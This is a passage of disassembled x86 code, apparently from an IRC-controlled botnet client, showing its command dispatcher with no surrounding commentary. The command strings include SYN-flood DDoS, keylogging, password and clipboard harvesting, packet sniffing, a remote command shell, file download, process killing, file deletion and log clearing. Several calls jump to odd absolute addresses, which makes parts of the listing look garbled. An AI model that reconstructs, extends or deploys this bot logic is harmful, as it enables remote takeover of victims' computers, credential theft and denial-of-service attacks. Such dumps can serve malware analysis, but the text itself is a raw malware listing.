		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 1Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------


loc_410277:				; CODE XREF: sub_40EE72+13C2j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DC
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DC
		push	edi
		push	offset aIrc_aliases ; "irc.aliases"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BC
		push	edi
		push	offset aIrc_al	; "irc.al"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BC
		push	edi
		push	offset aIrc_log	; "irc.log"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148C9
		push	edi
		push	offset aIrc_lg	; "irc.lg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148C9
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B0
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B0
		push	edi
		push	offset aCom_netinfo ; "com.netinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41487E
		push	edi
		push	offset aCom_ni	; "com.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41487E
		push	edi
		push	offset aDdos_supersyn ;	"ddos.supersyn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410459
		mov	edi, [ebp+esi+var_90]
		push	7Fh
		lea	eax, [ebp+var_76C]
		push	edi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+esi+var_8C]
		push	7Fh
		mov	[ebp+arg_18], eax
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_88]
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_564], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_437FC8
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	14h
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_401831
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_410448


loc_410432:				; CODE XREF: sub_40EE72+15D4j
		cmp	[ebp+var_560], ebx
		jnz	loc_41460A
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_410432
; ---------------------------------------------------------------------------


loc_410448:				; CODE XREF: sub_40EE72+15BEj
		call	near ptr 2640A83h
		nop
		push	eax
		push	offset unk_437F7C
		jmp	loc_413BFB
; ---------------------------------------------------------------------------


loc_410459:				; CODE XREF: sub_40EE72+14E6j
		push	edi
		push	offset aCom_sysinfo ; "com.sysinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414850
		push	edi
		push	offset aCom_si	; "com.si"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414850
		push	edi
		push	offset aIrc_rem0ve ; "irc.rem0ve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414816
		push	edi
		push	offset aIrc_rm0	; "irc.rm0"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414816
		push	edi
		push	offset aCom_procs ; "com.procs"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470D
		push	edi
		push	offset aCom_ps	; "com.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470D
		push	edi
		push	offset aCom_harvest ; "com.harvest"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146EF
		push	edi
		push	offset aCom_key	; "com.key"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146EF
		push	edi
		push	offset aCom_uptime ; "com.uptime"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466A
		push	edi
		push	offset aCom_up	; "com.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466A
		push	edi
		push	offset aCom_driveinfo ;	"com.driveinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464D
		push	edi
		push	offset aCom_drv	; "com.drv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464D
		push	edi
		push	offset aCom_testdlls ; "com.testdlls"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414634
		push	edi
		push	offset aCom_dll	; "com.dll"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414634
		push	edi
		push	offset aCom_opencmd ; "com.opencmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145C8
		push	edi
		push	offset aCom_ocmd ; "com.ocmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145C8
		push	edi
		push	offset aCom_ocmd_off ; "com.ocmd.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4105D2
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_4105D2:				; CODE XREF: sub_40EE72+1746j
		push	edi
		push	offset aIrc_who	; "irc.who"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41065E
		cmp	[ebp+var_8], ebx
		jnz	short loc_410602
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_410602:				; CODE XREF: sub_40EE72+1774j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_410607:				; CODE XREF: sub_40EE72+17DBj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_410613
		mov	eax, offset aEmpty ; "<Empty>"


loc_410613:				; CODE XREF: sub_40EE72+179Aj
		push	eax
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_410607
		push	offset dword_437E50


loc_410654:				; CODE XREF: sub_40EE72+5C56j
		call	sub_40BF6D
		jmp	loc_414F44
; ---------------------------------------------------------------------------


loc_41065E:				; CODE XREF: sub_40EE72+176Fj
		push	edi
		push	offset aCom_getclip ; "com.getclip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41457F
		push	edi
		push	offset aCom_gc	; "com.gc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41457F
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414554
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414554
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414530
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414530
		push	edi
		push	offset aRoot_currentip ; "root.currentip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F3
		push	edi
		push	offset aRoot_cip ; "root.cip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F3
		push	edi
		push	offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A2
		push	edi
		push	offset aDaemon_rl_on ; "daemon.rl.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A2
		push	edi
		push	offset aDaemon_httpd_o ; "daemon.httpd.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422C
		push	edi
		push	offset aDaemon_web_on ;	"daemon.web.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422C
		push	edi
		push	offset aDaemon_tftp_on ; "daemon.tftp.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140EB
		push	edi
		push	offset aDaemon_tf_on ; "daemon.tf.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140EB
		push	edi
		push	offset aCom_findpass ; "com.findpass"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414041
		push	edi
		push	offset aCom_fp	; "com.fp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414041
		push	edi
		push	offset aAsc	; "asc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D42
		push	edi
		push	offset aSa	; "sa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D42
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_nick ; "irc.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D26
		push	[ebp+arg_8]
		push	offset aIrc_n	; "irc.n"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D26
		push	[ebp+arg_8]
		push	offset aIrc_join ; "irc.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D03
		push	[ebp+arg_8]
		push	offset aIrc_j	; "irc.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D03
		push	[ebp+arg_8]
		push	offset aIrc_part ; "irc.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE7
		push	[ebp+arg_8]
		push	offset aIrc_pt	; "irc.pt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE7
		push	[ebp+arg_8]
		push	offset aIrc_raw	; "irc.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAD
		push	[ebp+arg_8]
		push	offset aIrc_ra	; "irc.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAD
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDB
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDB
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B32
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B32
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE4
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE4
		push	[ebp+arg_8]
		push	offset aIrc_prefix ; "irc.prefix"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413ACF
		push	[ebp+arg_8]
		push	offset aIrc_pr	; "irc.pr"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413ACF
		push	[ebp+arg_8]
		push	offset aCom_open ; "com.open"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA5
		push	[ebp+arg_8]
		push	offset aCom_o	; "com.o"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA5
		push	[ebp+arg_8]
		push	offset aIrc_setserve ; "irc.setserve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8C
		push	[ebp+arg_8]
		push	offset aIrc_se	; "irc.se"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8C
		push	[ebp+arg_8]
		push	offset aIrc_dns	; "irc.dns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FA
		push	[ebp+arg_8]
		push	offset aIrc_dn	; "irc.dn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FA
		push	[ebp+arg_8]
		push	offset aCom_killprocna ; "com.killprocname"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139CE
		push	[ebp+arg_8]
		push	offset aCom_kpn	; "com.kpn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139CE
		push	[ebp+arg_8]
		push	offset aCom_prockillid ; "com.prockillid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413973
		push	[ebp+arg_8]
		push	offset aCom_pkid ; "com.pkid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413973
		push	[ebp+arg_8]
		push	offset aCom_delete ; "com.delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413938
		push	[ebp+arg_8]
		push	offset aCom_del	; "com.del"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413938
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41384E
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41384E
		push	[ebp+arg_8]
		push	offset aCom_filelist ; "com.filelist"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413830
		push	[ebp+arg_8]
		push	offset aCom_fl	; "com.fl"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413830
		push	[ebp+arg_8]
		push	offset aIrc_visit ; "irc.visit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41374F
		push	[ebp+arg_8]
		push	offset aIrc_v	; "irc.v"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41374F
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413714
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413714
		push	[ebp+arg_8]
		push	offset aCom_cmd	; "com.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136C9
		push	[ebp+arg_8]
		push	offset aCom_cm	; "com.cm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136C9
		push	[ebp+arg_8]
		push	offset aCom_readfile ; "com.readfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413643
		push	[ebp+arg_8]
		push	offset aCom_rf	; "com.rf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413643
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410CCC
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410C97
		push	19h
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_410BC1
		push	offset unk_437B84
		jmp	loc_410D38
; ---------------------------------------------------------------------------


loc_410BC1:				; CODE XREF: sub_40EE72+1D43j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jnz	short loc_410C03
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410C03
		mov	esi, [ebp+var_8C]


loc_410C03:				; CODE XREF: sub_40EE72+1D73j
					; sub_40EE72+1D89j
		push	esi
		lea	eax, [ebp+var_4EC]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_437B44
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	19h
		push	eax
		call	sub_416D5A
		add	esp, 14h
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_402688
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_46C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_410C86


loc_410C70:				; CODE XREF: sub_40EE72+1E12j
		cmp	[ebp+var_460], ebx
		jnz	loc_410E57
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_410C70
; ---------------------------------------------------------------------------


loc_410C86:				; CODE XREF: sub_40EE72+1DFCj
		call	near ptr 2640A83h
		nop
		push	eax
		push	offset unk_437AF8
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_410C97:				; CODE XREF: sub_40EE72+1D33j
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	19h
		call	sub_416F55
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410CC5
		push	eax
		push	offset unk_437AAC
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_410CC5:				; CODE XREF: sub_40EE72+1E46j
		push	offset unk_437A74
		jmp	short loc_410D38
; ---------------------------------------------------------------------------


loc_410CCC:				; CODE XREF: sub_40EE72+1D1Ej
		push	[ebp+arg_8]
		push	offset aCom_keylog ; "com.keylog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E81
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aFile	; "file"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	1Bh
		call	sub_416F55
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410D33
		push	eax
		push	offset unk_437A1C
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_410D33:				; CODE XREF: sub_40EE72+1EB4j
		push	offset unk_4379E0


loc_410D38:				; CODE XREF: sub_40EE72+1D4Aj
					; sub_40EE72+1E58j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	loc_410E57
; ---------------------------------------------------------------------------


loc_410D4B:				; CODE XREF: sub_40EE72+1E80j
					; sub_40EE72+1E91j
		push	1Bh
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_410D5E
		push	offset unk_4379B0
		jmp	short loc_410D38
; ---------------------------------------------------------------------------


loc_410D5E:				; CODE XREF: sub_40EE72+1EE3j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_468], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D8D
		mov	[ebp+var_464], 1
		jmp	short loc_410D96
; ---------------------------------------------------------------------------


loc_410D8D:				; CODE XREF: sub_40EE72+1F0Dj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax


loc_410D96:				; CODE XREF: sub_40EE72+1F19j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_410DBD
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410DBD
		mov	esi, [ebp+var_8C]


loc_410DBD:				; CODE XREF: sub_40EE72+1F2Dj
					; sub_40EE72+1F43j
		push	esi
		lea	eax, [ebp+var_4E8]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_437980
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Bh
		push	eax
		call	sub_416D5A
		add	esp, 14h
		mov	[ebp+var_4EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_4023A7
		push	ebx
		push	ebx
		call	near ptr 2670CCFh
		nop
		mov	ecx, [ebp+var_4EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_410E3C


loc_410E2A:				; CODE XREF: sub_40EE72+1FC8j
		cmp	[ebp+var_460], ebx
		jnz	short loc_410E57
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_410E2A
; ---------------------------------------------------------------------------


loc_410E3C:				; CODE XREF: sub_40EE72+1FB6j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset unk_437934


loc_410E48:				; CODE XREF: sub_40EE72+1E20j
					; sub_40EE72+1E4Ej ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_410E57:				; CODE XREF: sub_40EE72+1E04j
					; sub_40EE72+1E34j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40F822
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F822
; ---------------------------------------------------------------------------


loc_410E81:				; CODE XREF: sub_40EE72+1E6Bj
		push	[ebp+arg_8]
		push	offset aCom_net	; "com.net"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411114
		cmp	dword_43F738, ebx
		jz	short loc_410EB2
		cmp	dword_43F760, ebx
		jz	short loc_410EB2
		push	offset dword_4378E4
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410EB2:				; CODE XREF: sub_40EE72+202Cj
					; sub_40EE72+2034j
		cmp	[ebp+var_C], ebx
		jz	loc_4110DC
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_410EDA
		push	eax
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_410EDA:				; CODE XREF: sub_40EE72+2058j
		push	edi
		push	offset aStart	; "start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F26
		cmp	[ebp+arg_18], ebx
		jz	short loc_410EFA
		push	[ebp+arg_0]
		push	3
		jmp	loc_410F84
; ---------------------------------------------------------------------------


loc_410EFA:				; CODE XREF: sub_40EE72+207Cj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D9B3
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410F1C
		push	offset dword_4378B0
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410F1C:				; CODE XREF: sub_40EE72+209Ej
		push	offset dword_437880
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410F26:				; CODE XREF: sub_40EE72+2077j
		push	edi
		push	offset aStop	; "stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F3E
		push	[ebp+arg_0]
		push	4
		jmp	short loc_410F84
; ---------------------------------------------------------------------------


loc_410F3E:				; CODE XREF: sub_40EE72+20C3j
		push	edi
		push	offset aPause	; "pause"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F56
		push	[ebp+arg_0]
		push	5
		jmp	short loc_410F84
; ---------------------------------------------------------------------------


loc_410F56:				; CODE XREF: sub_40EE72+20DBj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F6E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_410F84
; ---------------------------------------------------------------------------


loc_410F6E:				; CODE XREF: sub_40EE72+20F3j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F90
		push	[ebp+arg_0]
		push	1


loc_410F84:				; CODE XREF: sub_40EE72+2083j
					; sub_40EE72+20CAj ...
		call	sub_40D719
		pop	ecx
		pop	ecx
		jmp	loc_4110AB
; ---------------------------------------------------------------------------


loc_410F90:				; CODE XREF: sub_40EE72+210Bj
		push	edi
		push	offset aShare	; "share"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410FFB
		cmp	[ebp+arg_18], ebx
		jz	short loc_410FCE
		cmp	[ebp+var_9C4], bl
		jz	short loc_410FC1
		push	ebx
		push	[ebp+arg_18]
		push	1


loc_410FB4:				; CODE XREF: sub_40EE72+215Aj
		call	sub_40DAF0
		add	esp, 0Ch
		jmp	loc_4110AB
; ---------------------------------------------------------------------------


loc_410FC1:				; CODE XREF: sub_40EE72+213Aj
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx
		jmp	short loc_410FB4
; ---------------------------------------------------------------------------


loc_410FCE:				; CODE XREF: sub_40EE72+2132j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DCE6
		add	esp, 10h
		test	eax, eax
		jz	short loc_410FF1
		push	offset dword_437830
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410FF1:				; CODE XREF: sub_40EE72+2173j
		push	offset dword_437800
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410FFB:				; CODE XREF: sub_40EE72+212Dj
		push	edi
		push	offset aUser	; "user"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41107E
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_411057
		cmp	[ebp+var_9C4], bl
		jz	short loc_41102D
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_411047
; ---------------------------------------------------------------------------


loc_41102D:				; CODE XREF: sub_40EE72+21A7j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_411051
		push	esi
		push	eax
		push	ebx


loc_411047:				; CODE XREF: sub_40EE72+21B9j
					; sub_40EE72+21E3j
		call	sub_40DE07
		add	esp, 18h
		jmp	short loc_4110AB
; ---------------------------------------------------------------------------


loc_411051:				; CODE XREF: sub_40EE72+21D0j
		push	ebx
		push	eax
		push	2
		jmp	short loc_411047
; ---------------------------------------------------------------------------


loc_411057:				; CODE XREF: sub_40EE72+219Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
